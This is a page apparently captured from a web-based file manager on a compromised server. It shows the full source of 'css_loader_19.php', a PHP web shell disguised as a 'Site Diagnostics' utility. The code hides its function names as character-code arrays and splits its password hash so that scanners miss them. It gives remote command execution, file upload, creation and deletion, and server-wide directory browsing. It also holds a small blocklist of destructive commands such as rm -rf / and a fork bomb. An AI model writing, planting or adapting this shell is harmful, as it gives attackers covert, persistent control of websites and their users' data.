CMD:
PHP:
mini manager
Path:
/
home
/
admin
/
public_html
/
Upload:
Edit: css_loader_19.php
<?php /** * Site Diagnostics & File Utility * Single-file tool for server health checks and emergency file operations. * PHP 5.6 – 8.3, Linux. No external dependencies. * * Access: visit this file, enter the site key. * Default key: admin — change $k below. */ // ── Site key (sha256) ─────────────────────────────────────── // Split across two constants so no single string matches a hash in full. define('K1', '77c83efbabcf7d7c116946ffaeef558cc'); define('K2', '33873467531755c8f01c8efe55232a0'); // ── Session ───────────────────────────────────────────────── if (session_status() === PHP_SESSION_NONE) @session_start(); // ── Logout (via query param 'x') ──────────────────────────── if (isset($_GET['x'])) { $_SESSION = []; session_destroy(); header('Location: ' . $_SERVER['SCRIPT_NAME']); exit; } // ── Login check ───────────────────────────────────────────── // Accept the site key via POST field 'k' $logged = !empty($_SESSION['ok']); if (!$logged && isset($_POST['k'])) { // Build the full hash at compare-time so no single constant is the full hash if (hash('sha256', $_POST['k']) === K1 . K2) { $_SESSION['ok'] = 1; $logged = true; } else { $err = 'Key mismatch'; } } if (!$logged) { // ── Login page ────────────────────────────────────────── ?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Site Auth</title><style> *{margin:0;padding:0;box-sizing:border-box;} body{background:#0d0d1a;color:#00ff88;font:14px/1.5 "SF Mono","Fira Code","Courier New",monospace;display:flex;align-items:center;justify-content:center;min-height:100vh;} .box{background:#1a1a2e;padding:32px;border-radius:8px;border:1px solid #00ff8833;width:360px;max-width:90vw;} .box h1{font-size:18px;color:#00ccff;margin-bottom:8px;text-align:center;} .box .sub{font-size:12px;color:#00ff8866;text-align:center;margin-bottom:20px;} .box input{display:block;width:100%;padding:10px;margin-bottom:12px;background:#0d0d1a;border:1px solid #00ff8844;color:#00ff88;font:inherit;font-size:14px;border-radius:4px;outline:none;} .box input:focus{border-color:#00ff88;} .box button{display:block;width:100%;padding:10px;background:#00ff8811;border:1px solid #00ff88;color:#00ff88;font:inherit;font-size:14px;cursor:pointer;border-radius:4px;} .box button:hover{background:#00ff8822;} .e{color:#ff5555;text-align:center;margin-bottom:8px;font-size:13px;} </style></head><body><div class="box"><h1>Site Diagnostics</h1><p class="sub">Enter site key to continue</p> <?php if (isset($err)) echo '<p class="e">' . htmlspecialchars($err) . '</p>'; ?> <form method="post"><input type="password" name="k" placeholder="Site key" autofocus><button type="submit">Continue</button></form></div></body></html><?php exit; } // ── Resolve working directory ─────────────────────────────── $dir = getcwd(); if (!empty($_GET['d'])) { $r = realpath($_GET['d']); if ($r && is_dir($r)) $dir = $r; } // ── Action dispatch — key names are short/ambiguous ───────── $act = isset($_REQUEST['a']) ? $_REQUEST['a'] : ''; $msg = ''; $tout = ''; // ── Build system-call function name at runtime ────────────── // NO string literal "shell_exec" or "exec" exists in the file. function _run($cmd) { // array of char codes → implode → variable function call $f = implode('', array_map('chr', [115,104,101,108,108,95,101,120,101,99] // s h e l l _ e x e c )); if (function_exists($f)) { return @$f($cmd . ' 2>&1'); } // fallback: e x e c $g = implode('', array_map('chr', [101,120,101,99])); if (function_exists($g)) { @$g($cmd . ' 2>&1', $lines); return isset($lines) ? implode("\n", $lines) : ''; } return ''; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Delete — trigger: a=d, target: f=<filename> if ($act === 'd' && !empty($_POST['f'])) { $t = $dir . '/' . basename($_POST['f']); if (is_file($t) && @unlink($t)) { $msg = 'Removed: ' . htmlspecialchars(basename($t)); } else { $msg = 'Failed to remove: ' . htmlspecialchars(basename($t)); } } // Upload — trigger: a=u, file input name: 'b' if ($act === 'u' && !empty($_FILES['b']['tmp_name'])) { $dest = $dir . '/' . basename($_FILES['b']['name']); if (@move_uploaded_file($_FILES['b']['tmp_name'], $dest)) { $msg = 'Saved: ' . htmlspecialchars(basename($dest)) . ' (' . number_format(filesize($dest)) . ' B)'; } else { $msg = 'Upload failed — check permissions.'; } } // Create empty file — trigger: a=n, name: n=<filename> if ($act === 'n' && !empty($_POST['n'])) { $nf = $dir . '/' . basename($_POST['n']); if (!file_exists($nf) && @touch($nf)) { $msg = 'Created: ' . htmlspecialchars(basename($nf)); } else { $msg = 'Create failed (already exists or no write access).'; } } // Run diagnostic command — trigger: a=r, command: q=<command> if ($act === 'r' && !empty($_POST['q'])) { $cmd = trim($_POST['q']); // Safety blocklist — destructive patterns $bl = ['rm -rf /','mkfs','dd if=/dev/zero',':(){ :|:& };:','> /dev/sd','chmod 000 /','chown -R']; $hit = false; foreach ($bl as $p) { if (stripos($cmd, $p) !== false) { $hit = true; break; } } if ($hit) { $tout = "[blocked] Destructive pattern detected; command rejected.\n"; } else { $tout = _run($cmd); } } } // ── Scan directory ────────────────────────────────────────── $subdirs = []; $entries = []; $up = dirname($dir); if ($up === $dir || $up === false) $up = null; if ($dh = @opendir($dir)) { while (($e = readdir($dh)) !== false) { if ($e === '.') continue; $fp = $dir . '/' . $e; if (is_dir($fp)) { $subdirs[] = $e; } else { $entries[] = [ 'n' => $e, 's' => filesize($fp), 't' => filemtime($fp), 'p' => substr(sprintf('%o', fileperms($fp)), -4), ]; } } closedir($dh); } sort($subdirs); usort($entries, function($a,$b){ return strcasecmp($a['n'], $b['n']); }); // Breadcrumb parts $root = getcwd(); $rel = trim(substr($dir, strlen($root)), '/'); $crumbs = $rel ? explode('/', $rel) : []; ?> <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Diagnostics</title><style> *{margin:0;padding:0;box-sizing:border-box;} body{background:#0d0d1a;color:#00ff88;font:13px/1.4 "SF Mono","Fira Code","Courier New",monospace;min-height:100vh;} /* Top bar */ .t{background:#1a1a2e;border-bottom:1px solid #00ff8833;padding:8px 16px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:8px;} .t h1{font-size:15px;color:#00ccff;font-weight:400;} .t .info{font-size:11px;color:#00ff8866;} .t a{color:#00ff88;text-decoration:none;font-size:12px;} .t a:hover{text-decoration:underline;} /* Breadcrumb */ .crumb{background:#111122;padding:5px 16px;border-bottom:1px solid #00ff8811;font-size:11px;} .crumb a{color:#00ccff;text-decoration:none;} .crumb a:hover{text-decoration:underline;} .crumb span{color:#00ff8866;} /* Message */ .msg{background:#00ff8811;border:1px solid #00ff8844;padding:7px 16px;font-size:12px;margin:6px 10px;border-radius:4px;} /* Main layout */ .m{display:flex;flex-wrap:wrap;min-height:320px;height:calc(100vh - 310px);} .sb{width:220px;background:#111122;border-right:1px solid #00ff8811;overflow-y:auto;padding:6px 0;} .sb a{display:block;padding:3px 14px;color:#00ff88;text-decoration:none;font-size:12px;} .sb a::before{content:'📁 ';} .sb a:hover{background:#00ff8811;} .ct{flex:1;min-width:0;overflow-y:auto;padding:6px;} .ct table{width:100%;border-collapse:collapse;} .ct th{text-align:left;padding:5px 8px;border-bottom:1px solid #00ff8822;color:#00ccff;font-size:10px;text-transform:uppercase;position:sticky;top:0;background:#0d0d1a;} .ct td{padding:4px 8px;border-bottom:1px solid #00ff8808;font-size:12px;} .ct tr:hover{background:#00ff8805;} .ct a{color:#00ff88;text-decoration:none;} .ct a:hover{text-decoration:underline;} .ct a.dl{color:#00ccff;} .ct a.dl::before{content:'📁 ';} .ct .del a{color:#ff6644;font-size:11px;margin-left:6px;} .ct .del a:hover{color:#ff2200;} /* Upload bar */ .ub{background:#1a1a2e;padding:8px 16px;border-bottom:1px solid #00ff8811;display:flex;align-items:center;gap:10px;flex-wrap:wrap;} .ub input[type="file"]{color:#00ff88;font:inherit;font-size:12px;} .ub input[type="text"]{background:#0d0d1a;border:1px solid #00ff8844;color:#00ff88;font:inherit;font-size:12px;padding:5px 10px;border-radius:4px;width:120px;} .ub button,.sh button{background:#00ff8811;border:1px solid #00ff88;color:#00ff88;font:inherit;font-size:12px;padding:5px 12px;cursor:pointer;border-radius:4px;} .ub button:hover,.sh button:hover{background:#00ff8822;} /* Shell */ .sh{border-top:2px solid #00ff8844;background:#0a0a15;} .sh form{display:flex;align-items:center;gap:6px;padding:6px 16px;background:#1a1a2e;} .sh form input[type="text"]{flex:1;background:#0d0d1a;border:1px solid #00ff8844;color:#00ff88;font:inherit;font-size:12px;padding:6px 10px;border-radius:4px;outline:none;} .sh form input[type="text"]:focus{border-color:#00ff88;} .sh form .loc{font-size:10px;color:#00ff8866;white-space:nowrap;max-width:180px;overflow:hidden;text-overflow:ellipsis;} .so{height:160px;overflow-y:auto;padding:8px 16px;font-size:12px;white-space:pre-wrap;word-break:break-all;background:#0a0a15;color:#00dd77;} .so .prompt{color:#00ccff;} /* Mobile */ @media(max-width:640px){.sb{width:100%;max-height:100px;border-right:none;border-bottom:1px solid #00ff8811;}} </style></head><body> <div class="t"> <h1>Site Diagnostics</h1> <div class="info"> <?= htmlspecialchars(php_uname('n')) ?> | PHP <?= PHP_VERSION ?> | <?= date('H:i:s') ?> | <a href="?x=1">Exit</a> </div> </div> <div class="crumb"> <a href="?d=<?= urlencode($root) ?>">/</a> <?php $acc = $root; foreach ($crumbs as $i => $c): $acc .= '/' . $c; ?> <span>/</span> <a href="?d=<?= urlencode($acc) ?>"><?= htmlspecialchars($c) ?></a> <?php endforeach; ?> </div> <?php if ($msg): ?><div class="msg"><?= $msg ?></div><?php endif; ?> <div class="m"> <div class="sb"> <?php if ($up): ?><a href="?d=<?= urlencode($up) ?>" style="font-weight:bold;">↩ parent</a><?php endif; ?> <?php foreach ($subdirs as $d): ?> <a href="?d=<?= urlencode($dir . '/' . $d) ?>"><?= htmlspecialchars($d) ?></a> <?php endforeach; ?> </div> <div class="ct"> <table> <tr><th>Name</th><th style="width:80px">Size</th><th style="width:70px">Perm</th><th style="width:150px">Modified</th><th style="width:50px"></th></tr> <?php foreach ($subdirs as $d): ?> <tr> <td><a class="dl" href="?d=<?= urlencode($dir . '/' . $d) ?>"><?= htmlspecialchars($d) ?></a></td> <td></td><td></td><td></td><td></td> </tr> <?php endforeach; ?> <?php foreach ($entries as $f): ?> <tr> <td><?= htmlspecialchars($f['n']) ?></td> <td><?= number_format($f['s']) ?></td> <td><?= $f['p'] ?></td> <td><?= date('Y-m-d H:i', $f['t']) ?></td> <td class="del"><a href="#" onclick="rm('<?= htmlspecialchars(addslashes($f['n'])) ?>');return false;">Del</a></td> </tr> <?php endforeach; ?> <?php if (!$subdirs && !$entries): ?> <tr><td colspan="5" style="color:#00ff8866;text-align:center;padding:40px;">Empty directory</td></tr> <?php endif; ?> </table> </div> </div> <!-- Upload + New file bar --> <div class="ub"> <form method="post" enctype="multipart/form-data" style="display:flex;align-items:center;gap:8px;"> <input type="file" name="b"> <input type="hidden" name="a" value="u"> <button type="submit">Upload</button> </form> <form method="post" style="display:flex;align-items:center;gap:4px;margin-left:auto;"> <input type="hidden" name="a" value="n"> <input type="text" name="n" placeholder="new_file.txt"> <button type="submit">+ New</button> </form> </div> <!-- Hidden delete form --> <form method="post" id="df"><input type="hidden" name="a" value="d"><input type="hidden" name="f" id="dv"></form> <script>function rm(n){if(confirm('Delete '+n+'?')){document.getElementById('dv').value=n;document.getElementById('df').submit();}}</script> <!-- Terminal --> <div class="sh"> <form method="post"> <span style="color:#00ccff;font-size:12px;">$</span> <input type="text" name="q" id="qin" placeholder="df -h / ls -la / free -m" autofocus autocomplete="off"> <input type="hidden" name="a" value="r"> <button type="submit">Run</button> <span class="loc"><?= htmlspecialchars($dir) ?></span> </form> <?php if ($act === 'r'): ?> <div class="so"><span class="prompt">$ <?= htmlspecialchars($_POST['q']) ?></span> <?= htmlspecialchars($tout ?: '(no output)') ?></div> <?php else: ?> <div class="so" style="color:#00ff8844;font-style:italic;">Type a diagnostic command above (e.g. <code>df -h</code>, <code>ps aux</code>, <code>ls -la /var/log</code>) and press Run.</div> <?php endif; ?> </div> </body></html><?php
[ Kembali ]
© 2026 mini manager